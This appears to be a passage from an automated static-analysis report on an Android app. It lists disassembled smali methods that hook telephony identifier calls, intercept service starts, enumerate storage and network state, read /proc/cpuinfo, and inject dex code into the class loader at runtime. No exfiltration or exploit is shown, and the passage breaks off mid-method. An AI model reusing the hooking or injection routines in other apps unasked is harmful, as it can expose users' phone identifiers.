                              37invoke-virtual {p0, v0}, Lcom/lody/virtual/client/hook/proxies/phonesubinfo/PhoneSubInfoStub;->addMethodProxy(Lcom/lody/virtual/client/hook/base/MethodProxy;)Lcom/lody/virtual/client/hook/base/MethodProxy;
                              38new-instance v0, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;
                              40const-string v1, "getSubscriberIdForSubscriber"
                              42invoke-direct {v0, v1}, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;-><init>(Ljava/lang/String;)V
                              44invoke-virtual {p0, v0}, Lcom/lody/virtual/client/hook/proxies/phonesubinfo/PhoneSubInfoStub;->addMethodProxy(Lcom/lody/virtual/client/hook/base/MethodProxy;)Lcom/lody/virtual/client/hook/base/MethodProxy;
                              45new-instance v0, Lcom/lody/virtual/client/hook/base/ReplaceCallingPkgMethodProxy;
                              47const-string v1, "getGroupIdLevel1"
                              49invoke-direct {v0, v1}, Lcom/lody/virtual/client/hook/base/ReplaceCallingPkgMethodProxy;-><init>(Ljava/lang/String;)V
                              51invoke-virtual {p0, v0}, Lcom/lody/virtual/client/hook/proxies/phonesubinfo/PhoneSubInfoStub;->addMethodProxy(Lcom/lody/virtual/client/hook/base/MethodProxy;)Lcom/lody/virtual/client/hook/base/MethodProxy;
                              52new-instance v0, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;
                              54const-string v1, "getGroupIdLevel1ForSubscriber"
                              56invoke-direct {v0, v1}, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;-><init>(Ljava/lang/String;)V
                              58invoke-virtual {p0, v0}, Lcom/lody/virtual/client/hook/proxies/phonesubinfo/PhoneSubInfoStub;->addMethodProxy(Lcom/lody/virtual/client/hook/base/MethodProxy;)Lcom/lody/virtual/client/hook/base/MethodProxy;
                              59new-instance v0, Lcom/lody/virtual/client/hook/base/ReplaceCallingPkgMethodProxy;
                              61const-string v1, "getLine1Number"
                              63invoke-direct {v0, v1}, Lcom/lody/virtual/client/hook/base/ReplaceCallingPkgMethodProxy;-><init>(Ljava/lang/String;)V
                              65invoke-virtual {p0, v0}, Lcom/lody/virtual/client/hook/proxies/phonesubinfo/PhoneSubInfoStub;->addMethodProxy(Lcom/lody/virtual/client/hook/base/MethodProxy;)Lcom/lody/virtual/client/hook/base/MethodProxy;
                              66new-instance v0, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;
                              68const-string v1, "getLine1NumberForSubscriber"
                              70invoke-direct {v0, v1}, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;-><init>(Ljava/lang/String;)V
                              72invoke-virtual {p0, v0}, Lcom/lody/virtual/client/hook/proxies/phonesubinfo/PhoneSubInfoStub;->addMethodProxy(Lcom/lody/virtual/client/hook/base/MethodProxy;)Lcom/lody/virtual/client/hook/base/MethodProxy;
                              73new-instance v0, Lcom/lody/virtual/client/hook/base/ReplaceCallingPkgMethodProxy;
                              75const-string v1, "getLine1AlphaTag"
                              77invoke-direct {v0, v1}, Lcom/lody/virtual/client/hook/base/ReplaceCallingPkgMethodProxy;-><init>(Ljava/lang/String;)V
                              79invoke-virtual {p0, v0}, Lcom/lody/virtual/client/hook/proxies/phonesubinfo/PhoneSubInfoStub;->addMethodProxy(Lcom/lody/virtual/client/hook/base/MethodProxy;)Lcom/lody/virtual/client/hook/base/MethodProxy;
                              80new-instance v0, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;
                              82const-string v1, "getLine1AlphaTagForSubscriber"
                              84invoke-direct {v0, v1}, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;-><init>(Ljava/lang/String;)V
                              86invoke-virtual {p0, v0}, Lcom/lody/virtual/client/hook/proxies/phonesubinfo/PhoneSubInfoStub;->addMethodProxy(Lcom/lody/virtual/client/hook/base/MethodProxy;)Lcom/lody/virtual/client/hook/base/MethodProxy;
                              87new-instance v0, Lcom/lody/virtual/client/hook/base/ReplaceCallingPkgMethodProxy;
                              89const-string v1, "getMsisdn"
                              91invoke-direct {v0, v1}, Lcom/lody/virtual/client/hook/base/ReplaceCallingPkgMethodProxy;-><init>(Ljava/lang/String;)V
                              93invoke-virtual {p0, v0}, Lcom/lody/virtual/client/hook/proxies/phonesubinfo/PhoneSubInfoStub;->addMethodProxy(Lcom/lody/virtual/client/hook/base/MethodProxy;)Lcom/lody/virtual/client/hook/base/MethodProxy;
                              94new-instance v0, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;
                              96const-string v1, "getMsisdnForSubscriber"
                              98invoke-direct {v0, v1}, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;-><init>(Ljava/lang/String;)V
                              100invoke-virtual {p0, v0}, Lcom/lody/virtual/client/hook/proxies/phonesubinfo/PhoneSubInfoStub;->addMethodProxy(Lcom/lody/virtual/client/hook/base/MethodProxy;)Lcom/lody/virtual/client/hook/base/MethodProxy;
                              101new-instance v0, Lcom/lody/virtual/client/hook/base/ReplaceCallingPkgMethodProxy;
                              103const-string v1, "getVoiceMailNumber"
                              105invoke-direct {v0, v1}, Lcom/lody/virtual/client/hook/base/ReplaceCallingPkgMethodProxy;-><init>(Ljava/lang/String;)V
                              107invoke-virtual {p0, v0}, Lcom/lody/virtual/client/hook/proxies/phonesubinfo/PhoneSubInfoStub;->addMethodProxy(Lcom/lody/virtual/client/hook/base/MethodProxy;)Lcom/lody/virtual/client/hook/base/MethodProxy;
                              108new-instance v0, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;
                              110const-string v1, "getVoiceMailNumberForSubscriber"
                              112invoke-direct {v0, v1}, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;-><init>(Ljava/lang/String;)V
                              114invoke-virtual {p0, v0}, Lcom/lody/virtual/client/hook/proxies/phonesubinfo/PhoneSubInfoStub;->addMethodProxy(Lcom/lody/virtual/client/hook/base/MethodProxy;)Lcom/lody/virtual/client/hook/base/MethodProxy;
                              115new-instance v0, Lcom/lody/virtual/client/hook/base/ReplaceCallingPkgMethodProxy;
                              117const-string v1, "getVoiceMailAlphaTag"
                              119invoke-direct {v0, v1}, Lcom/lody/virtual/client/hook/base/ReplaceCallingPkgMethodProxy;-><init>(Ljava/lang/String;)V
                              121invoke-virtual {p0, v0}, Lcom/lody/virtual/client/hook/proxies/phonesubinfo/PhoneSubInfoStub;->addMethodProxy(Lcom/lody/virtual/client/hook/base/MethodProxy;)Lcom/lody/virtual/client/hook/base/MethodProxy;
                              122new-instance v0, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;
                              124const-string v1, "getVoiceMailAlphaTagForSubscriber"
                              126invoke-direct {v0, v1}, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;-><init>(Ljava/lang/String;)V
                              128invoke-virtual {p0, v0}, Lcom/lody/virtual/client/hook/proxies/phonesubinfo/PhoneSubInfoStub;->addMethodProxy(Lcom/lody/virtual/client/hook/base/MethodProxy;)Lcom/lody/virtual/client/hook/base/MethodProxy;
                              129return-void
                              APIs
                              • android.content.Intent.getComponent
                              • android.content.Intent.getComponent
                              • android.content.ComponentName.getPackageName
                              • java.lang.String.equals
                              • java.lang.reflect.Method.invoke
                              • android.content.Intent.getBooleanExtra
                              • android.content.Intent.getIntExtra
                              • android.content.Intent.getParcelableExtra
                              • android.content.Intent.getData
                              • android.content.Intent.setDataAndType
                              • android.content.Intent.getIntExtra
                              • java.lang.reflect.Method.invoke
                              Strings
                              • _VA_|_from_inner_
                              • _VA_|_user_id_
                              • _VA_|_intent_
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v5, 0x0
                              2aget-object v0, p3, v5
                              3check-cast v0, Landroid/os/IInterface;
                              4const/4 v1, 0x1
                              5aget-object v1, p3, v1
                              6check-cast v1, Landroid/content/Intent;
                              7const/4 v2, 0x2
                              8aget-object v2, p3, v2
                              9check-cast v2, Ljava/lang/String;
                              11invoke-virtual {v1}, Landroid/content/Intent;->getComponent()Landroid/content/ComponentName;
                              12move-result-object v3
                              13if-eqz v3, :cond_2c
                              15invoke-static {}, Lcom/lody/virtual/client/hook/proxies/am/MethodProxies$StartService;->getHostPkg()Ljava/lang/String;
                              16move-result-object v3
                              18invoke-virtual {v1}, Landroid/content/Intent;->getComponent()Landroid/content/ComponentName;
                              19move-result-object v4
                              21invoke-virtual {v4}, Landroid/content/ComponentName;->getPackageName()Ljava/lang/String;
                              22move-result-object v4
                              24invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              25move-result v3
                              26if-eqz v3, :cond_2c
                              28invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              29move-result-object v0
                              30goto_2b: return-object v0
                              31cond_2c:
                              32invoke-static {}, Lcom/lody/virtual/os/VUserHandle;->myUserId()I
                              33move-result v3
                              35const-string v4, "_VA_|_from_inner_"
                              37invoke-virtual {v1, v4, v5}, Landroid/content/Intent;->getBooleanExtra(Ljava/lang/String;Z)Z
                              38move-result v4
                              39if-eqz v4, :cond_67
                              41const-string v4, "_VA_|_user_id_"
                              43invoke-virtual {v1, v4, v3}, Landroid/content/Intent;->getIntExtra(Ljava/lang/String;I)I
                              44move-result v3
                              46const-string v4, "_VA_|_intent_"
                              48invoke-virtual {v1, v4}, Landroid/content/Intent;->getParcelableExtra(Ljava/lang/String;)Landroid/os/Parcelable;
                              49move-result-object v1
                              50check-cast v1, Landroid/content/Intent;
                              51move v6, v3
                              52move-object v3, v1
                              53move v1, v6
                              54goto_49:
                              55invoke-virtual {v3}, Landroid/content/Intent;->getData()Landroid/net/Uri;
                              56move-result-object v4
                              58invoke-virtual {v3, v4, v2}, Landroid/content/Intent;->setDataAndType(Landroid/net/Uri;Ljava/lang/String;)Landroid/content/Intent;
                              60invoke-static {}, Lcom/lody/virtual/client/core/VirtualCore;->get()Lcom/lody/virtual/client/core/VirtualCore;
                              61move-result-object v4
                              63invoke-static {}, Lcom/lody/virtual/os/VUserHandle;->myUserId()I
                              64move-result v5
                              66invoke-virtual {v4, v3, v5}, Lcom/lody/virtual/client/core/VirtualCore;->resolveServiceInfo(Landroid/content/Intent;I)Landroid/content/pm/ServiceInfo;
                              67move-result-object v4
                              68if-eqz v4, :cond_79
                              70invoke-static {}, Lcom/lody/virtual/client/ipc/VActivityManager;->get()Lcom/lody/virtual/client/ipc/VActivityManager;
                              71move-result-object v4
                              73invoke-virtual {v4, v0, v3, v2, v1}, Lcom/lody/virtual/client/ipc/VActivityManager;->startService(Landroid/os/IInterface;Landroid/content/Intent;Ljava/lang/String;I)Landroid/content/ComponentName;
                              74move-result-object v0
                              75goto/16 :goto_2b
                              76cond_67:
                              77invoke-static {}, Lcom/lody/virtual/client/hook/proxies/am/MethodProxies$StartService;->isServerProcess()Z
                              78move-result v4
                              79if-eqz v4, :cond_7e
                              81const-string v3, "_VA_|_user_id_"
                              82const/16 v4, -0x2710
                              84invoke-virtual {v1, v3, v4}, Landroid/content/Intent;->getIntExtra(Ljava/lang/String;I)I
                              85move-result v3
                              86move v6, v3
                              87move-object v3, v1
                              88move v1, v6
                              89goto/16 :goto_49
                              90cond_79:
                              91invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              92move-result-object v0
                              93goto/16 :goto_2b
                              94cond_7e: move v6, v3
                              95move-object v3, v1
                              96move v1, v6
                              97goto/16 :goto_49
                              APIs
                              • android.content.Context.getSystemService
                              • java.util.ArrayList.<init>
                              • java.lang.Object.getClass
                              • java.lang.Class.getMethod
                              • java.lang.reflect.Method.invoke
                              • java.lang.Object.getClass
                              • java.lang.Class.getMethod
                              • java.lang.reflect.Method.invoke
                              • java.lang.String.equals
                              • java.util.ArrayList.add
                              • java.lang.Exception.printStackTrace
                              Strings
                              • storage
                              • getVolumePaths
                              • getVolumeState
                              • mounted
                              Position Instruction Meta Information
                              0.annotation system Ldalvik/annotation/Signature;
                              1value = {
                              2"(",
                              3"Landroid/content/Context;",
                              4")",
                              5"Ljava/util/ArrayList",
                              6"<",
                              7"Ljava/lang/String;",
                              8">;"
                              9}
                              10.end annotation
                              11.prologue
                              12const/4 v2, 0x0
                              14const-string v0, "storage"
                              16invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                              17move-result-object v0
                              18check-cast v0, Landroid/os/storage/StorageManager;
                              19new-instance v3, Ljava/util/ArrayList;
                              21invoke-direct {v3}, Ljava/util/ArrayList;-><init>()V
                              22try_start_e:
                              23invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              24move-result-object v1
                              26const-string v4, "getVolumePaths"
                              27const/4 v5, 0x0
                              28new-array v5, v5, [Ljava/lang/Class;
                              30invoke-virtual {v1, v4, v5}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              31move-result-object v1
                              32const/4 v4, 0x0
                              33new-array v4, v4, [Ljava/lang/Object;
                              35invoke-virtual {v1, v0, v4}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              36move-result-object v1
                              37check-cast v1, [Ljava/lang/String;
                              38check-cast v1, [Ljava/lang/String;
                              39if-eqz v1, :cond_64
                              40array-length v4, v1
                              41if-lez v4, :cond_64
                              43invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              44move-result-object v4
                              46const-string v5, "getVolumeState"
                              47const/4 v6, 0x1
                              48new-array v6, v6, [Ljava/lang/Class;
                              49const/4 v7, 0x0
                              50const-class v8, Ljava/lang/String;
                              51aput-object v8, v6, v7
                              53invoke-virtual {v4, v5, v6}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              54move-result-object v5
                              55array-length v6, v1
                              56move v4, v2
                              57goto_3f: if-ge v4, v6, :cond_5e
                              58aget-object v7, v1, v4
                              59const/4 v2, 0x1
                              60new-array v2, v2, [Ljava/lang/Object;
                              61const/4 v8, 0x0
                              62aput-object v7, v2, v8
                              64invoke-virtual {v5, v0, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              65move-result-object v2
                              66check-cast v2, Ljava/lang/String;
                              68const-string v8, "mounted"
                              70invoke-virtual {v8, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              71move-result v2
                              72if-eqz v2, :cond_5a
                              74invoke-virtual {v3, v7}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
                              75cond_5a: add-int/lit8 v2, v4, 0x1
                              76move v4, v2
                              77goto/16 :goto_3f
                              78cond_5e: move-object v0, v3
                              79goto_5f: return-object v0
                              80catch_60: move-exception v0
                              82invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                              83cond_64: const/4 v0, 0x0
                              84goto/16 :goto_5f
                              Cross References
                              APIs
                              • android.content.Context.getPackageManager
                              • android.content.Context.getPackageName
                              • android.content.pm.PackageManager.checkPermission
                              • android.content.Context.getSystemService
                              • android.net.ConnectivityManager.getActiveNetworkInfo
                              • android.net.NetworkInfo.getType
                              • android.net.NetworkInfo.getExtraInfo
                              • java.lang.String.equals
                              • java.lang.String.equals
                              • java.lang.String.equals
                              Strings
                              • android.permission.ACCESS_NETWORK_STATE
                              • connectivity
                              • cmwap
                              • 3gwap
                              • uniwap
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v2, 0x1
                              2const/4 v1, 0x0
                              4iget-object v0, p0, Lb/a/w;->d:Landroid/content/Context;
                              6invoke-virtual {v0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                              7move-result-object v0
                              9const-string v3, "android.permission.ACCESS_NETWORK_STATE"
                              11iget-object v4, p0, Lb/a/w;->d:Landroid/content/Context;
                              13invoke-virtual {v4}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                              14move-result-object v4
                              16invoke-virtual {v0, v3, v4}, Landroid/content/pm/PackageManager;->checkPermission(Ljava/lang/String;Ljava/lang/String;)I
                              17move-result v0
                              18if-eqz v0, :cond_18
                              19move v0, v1
                              20goto_17: return v0
                              21cond_18:
                              22iget-object v0, p0, Lb/a/w;->d:Landroid/content/Context;
                              24const-string v3, "connectivity"
                              26invoke-virtual {v0, v3}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                              27move-result-object v0
                              28check-cast v0, Landroid/net/ConnectivityManager;
                              30iget-object v3, p0, Lb/a/w;->d:Landroid/content/Context;
                              32const-string v4, "android.permission.ACCESS_NETWORK_STATE"
                              34invoke-static {v3, v4}, Lb/a/at;->a(Landroid/content/Context;Ljava/lang/String;)Z
                              35move-result v3
                              36if-nez v3, :cond_2e
                              37move v0, v1
                              38goto/16 :goto_17
                              39cond_2e:
                              40invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
                              41move-result-object v0
                              42if-eqz v0, :cond_5b
                              44invoke-virtual {v0}, Landroid/net/NetworkInfo;->getType()I
                              45move-result v3
                              46if-eq v3, v2, :cond_5b
                              48invoke-virtual {v0}, Landroid/net/NetworkInfo;->getExtraInfo()Ljava/lang/String;
                              49move-result-object v0
                              50if-eqz v0, :cond_5b
                              52const-string v3, "cmwap"
                              54invoke-virtual {v0, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              55move-result v3
                              56if-nez v3, :cond_58
                              58const-string v3, "3gwap"
                              60invoke-virtual {v0, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              61move-result v3
                              62if-nez v3, :cond_58
                              64const-string v3, "uniwap"
                              66invoke-virtual {v0, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              67try_end_55: move-result v0
                              68if-eqz v0, :cond_5b
                              69cond_58: move v0, v2
                              70goto/16 :goto_17
                              71catch_5a: move-exception v0
                              72cond_5b: move v0, v1
                              73goto/16 :goto_17
                              Cross References
                              APIs
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • android.os.Build.MODEL:Ljava/lang/String
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • android.os.Build$VERSION.RELEASE:Ljava/lang/String
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.Boolean.booleanValue
                              Strings
                              • typeID=
                              • , success=
                              • , model=
                              • , version=
                              Position Instruction Meta Information
                              0.prologue
                              2iget-object v0, p0, Lcom/taobao/android/runtime/AndroidRuntime;->mMonitor:Lcom/taobao/android/runtime/IMonitor;
                              3if-eqz v0, :cond_41
                              4new-instance v0, Ljava/lang/StringBuilder;
                              6invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                              8const-string v1, "typeID="
                              10invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              11move-result-object v0
                              13invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              14move-result-object v0
                              16const-string v1, ", success="
                              18invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              19move-result-object v0
                              21invoke-virtual {v0, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                              22move-result-object v0
                              24const-string v1, ", model="
                              26invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              27move-result-object v0
                              29sget-object v1, Landroid/os/Build;->MODEL:Ljava/lang/String;
                              31invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              32move-result-object v0
                              34const-string v1, ", version="
                              36invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              37move-result-object v0
                              39sget-object v1, Landroid/os/Build$VERSION;->RELEASE:Ljava/lang/String;
                              41invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              42move-result-object v0
                              44invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              45move-result-object v1
                              47iget-object v2, p0, Lcom/taobao/android/runtime/AndroidRuntime;->mMonitor:Lcom/taobao/android/runtime/IMonitor;
                              48if-nez p2, :cond_42
                              49const/4 v0, 0x0
                              50goto_3e:
                              51invoke-interface {v2, p1, v1, v0}, Lcom/taobao/android/runtime/IMonitor;->trace(Ljava/lang/String;Ljava/lang/String;Z)V
                              52cond_41: return-void
                              53cond_42:
                              54invoke-virtual {p2}, Ljava/lang/Boolean;->booleanValue()Z
                              55move-result v0
                              56goto/16 :goto_3e
                              Cross References
                              APIs
                              • android.content.Context.getDir
                              • java.io.File.getAbsolutePath
                              • android.content.Context.getClassLoader
                              • dalvik.system.DexClassLoader.<init>
                              • java.lang.Object.getClass
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.util.Log.e
                              • java.lang.RuntimeException.<init>
                              Strings
                              • dex
                              • dexElements
                              • ClassLoader
                              Position Instruction Meta Information
                              0.prologue
                              1new-instance v0, Ldalvik/system/DexClassLoader;
                              3const-string v1, "dex"
                              4const/4 v2, 0x0
                              6invoke-virtual {p0, v1, v2}, Landroid/content/Context;->getDir(Ljava/lang/String;I)Ljava/io/File;
                              7move-result-object v1
                              9invoke-virtual {v1}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
                              10move-result-object v1
                              12invoke-virtual {p0}, Landroid/content/Context;->getClassLoader()Ljava/lang/ClassLoader;
                              13move-result-object v2
                              15invoke-direct {v0, p2, v1, p2, v2}, Ldalvik/system/DexClassLoader;-><init>(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/ClassLoader;)V
                              17invoke-static {p1}, Lcom/taobao/android/runtime/ClassLoaderInjectorAboveApi14;->getPathList(Ljava/lang/Object;)Ljava/lang/Object;
                              18move-result-object v1
                              20invoke-static {v1}, Lcom/taobao/android/runtime/ClassLoaderInjectorAboveApi14;->getDexElements(Ljava/lang/Object;)Ljava/lang/Object;
                              21move-result-object v1
                              23invoke-static {v0}, Lcom/taobao/android/runtime/ClassLoaderInjectorAboveApi14;->getPathList(Ljava/lang/Object;)Ljava/lang/Object;
                              24move-result-object v0
                              26invoke-static {v0}, Lcom/taobao/android/runtime/ClassLoaderInjectorAboveApi14;->getDexElements(Ljava/lang/Object;)Ljava/lang/Object;
                              27move-result-object v0
                              29invoke-static {v1, v0, p3}, Lcom/taobao/android/runtime/ArrayUtils;->combineArray(Ljava/lang/Object;Ljava/lang/Object;Z)Ljava/lang/Object;
                              30move-result-object v0
                              32invoke-static {p1}, Lcom/taobao/android/runtime/ClassLoaderInjectorAboveApi14;->getPathList(Ljava/lang/Object;)Ljava/lang/Object;
                              33move-result-object v1
                              34try_start_2c:
                              35invoke-virtual {v1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              36move-result-object v2
                              38const-string v3, "dexElements"
                              40invoke-static {v1, v2, v3, v0}, Lcom/taobao/android/runtime/ReflectionUtils;->setField(Ljava/lang/Object;Ljava/lang/Class;Ljava/lang/String;Ljava/lang/Object;)V
                              41try_end_35:
                              42sget-object v0, Lcom/taobao/android/runtime/ClassLoaderInjectorAboveApi14;->TAG:Ljava/lang/String;
                              43new-instance v1, Ljava/lang/StringBuilder;
                              45invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              47const-string v2, "ClassLoader"
                              49invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              50move-result-object v1
                              52invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                              53move-result-object v1
                              55invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              56move-result-object v1
                              58invoke-static {v0, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                              59return-void
                              60catch_4e: move-exception v0
                              61new-instance v1, Ljava/lang/RuntimeException;
                              63invoke-direct {v1, v0}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/Throwable;)V
                              64throw v1
                              APIs
                              • android.app.Activity.onSaveInstanceState
                              • android.os.Bundle.putInt
                              • com.tmk.ywb.activity.ChooseTypeAndAccountActivity.mExistingAccounts:[Landroid/os/Parcelable
                              • android.os.Bundle.putParcelableArray
                              • com.tmk.ywb.activity.ChooseTypeAndAccountActivity.mAccounts:Ljava/util/ArrayList
                              • java.util.ArrayList.size
                              • android.os.Bundle.putBoolean
                              • com.tmk.ywb.activity.ChooseTypeAndAccountActivity.mAccounts:Ljava/util/ArrayList
                              • android.os.Bundle.putParcelableArrayList
                              • android.os.Bundle.putBoolean
                              • com.tmk.ywb.activity.ChooseTypeAndAccountActivity.mAccounts:Ljava/util/ArrayList
                              • java.util.ArrayList.get
                              • android.accounts.Account.name:Ljava/lang/String
                              • android.os.Bundle.putString
                              Strings
                              • pendingRequest
                              • existingAccounts
                              • selectedAddAccount
                              • accountList
                              • selectedAccountName
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-super {p0, p1}, Landroid/app/Activity;->onSaveInstanceState(Landroid/os/Bundle;)V
                              4const-string v0, "pendingRequest"
                              5iget v1, p0, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->mPendingRequest:I
                              7invoke-virtual {p1, v0, v1}, Landroid/os/Bundle;->putInt(Ljava/lang/String;I)V
                              8iget v0, p0, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->mPendingRequest:I
                              9const/4 v1, 0x2
                              10if-ne v0, v1, :cond_16
                              12const-string v0, "existingAccounts"
                              14iget-object v1, p0, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->mExistingAccounts:[Landroid/os/Parcelable;
                              16invoke-virtual {p1, v0, v1}, Landroid/os/Bundle;->putParcelableArray(Ljava/lang/String;[Landroid/os/Parcelable;)V
                              17cond_16: iget v0, p0, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->mSelectedItemIndex:I
                              18const/4 v1, -0x1
                              19if-eq v0, v1, :cond_2b
                              20iget v0, p0, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->mSelectedItemIndex:I
                              22iget-object v1, p0, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->mAccounts:Ljava/util/ArrayList;
                              24invoke-virtual {v1}, Ljava/util/ArrayList;->size()I
                              25move-result v1
                              26if-ne v0, v1, :cond_33
                              28const-string v0, "selectedAddAccount"
                              29const/4 v1, 0x1
                              31invoke-virtual {p1, v0, v1}, Landroid/os/Bundle;->putBoolean(Ljava/lang/String;Z)V
                              32goto_2b:
                              33const-string v0, "accountList"
                              35iget-object v1, p0, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->mAccounts:Ljava/util/ArrayList;
                              37invoke-virtual {p1, v0, v1}, Landroid/os/Bundle;->putParcelableArrayList(Ljava/lang/String;Ljava/util/ArrayList;)V
                              38return-void
                              39cond_33:
                              40const-string v0, "selectedAddAccount"
                              41const/4 v1, 0x0
                              43invoke-virtual {p1, v0, v1}, Landroid/os/Bundle;->putBoolean(Ljava/lang/String;Z)V
                              45const-string v1, "selectedAccountName"
                              47iget-object v0, p0, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->mAccounts:Ljava/util/ArrayList;
                              48iget v2, p0, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->mSelectedItemIndex:I
                              50invoke-virtual {v0, v2}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
                              51move-result-object v0
                              52check-cast v0, Landroid/accounts/Account;
                              54iget-object v0, v0, Landroid/accounts/Account;->name:Ljava/lang/String;
                              56invoke-virtual {p1, v1, v0}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                              57goto/16 :goto_2b
                              Cross References
                              APIs
                              • java.lang.ProcessBuilder.<init>
                              • java.lang.ProcessBuilder.start
                              • java.lang.StringBuffer.<init>
                              • java.lang.Process.getInputStream
                              • java.io.InputStreamReader.<init>
                              • java.io.BufferedReader.<init>
                              • java.io.BufferedReader.readLine
                              • java.lang.StringBuffer.append
                              • java.io.BufferedReader.close
                              • java.lang.StringBuffer.toString
                              • java.lang.String.toLowerCase
                              Strings
                              • /system/bin/cat
                              • /proc/cpuinfo
                              • utf-8
                              Position Instruction Meta Information
                              0.prologue
                              2const-string/jumbo v0, ""
                              3const/4 v1, 0x2
                              4try_start_4: new-array v1, v1, [Ljava/lang/String;
                              5const/4 v2, 0x0
                              7const-string/jumbo v3, "/system/bin/cat"
                              8aput-object v3, v1, v2
                              9const/4 v2, 0x1
                              11const-string/jumbo v3, "/proc/cpuinfo"
                              12aput-object v3, v1, v2
                              13new-instance v2, Ljava/lang/ProcessBuilder;
                              15invoke-direct {v2, v1}, Ljava/lang/ProcessBuilder;-><init>([Ljava/lang/String;)V
                              17invoke-virtual {v2}, Ljava/lang/ProcessBuilder;->start()Ljava/lang/Process;
                              18move-result-object v1
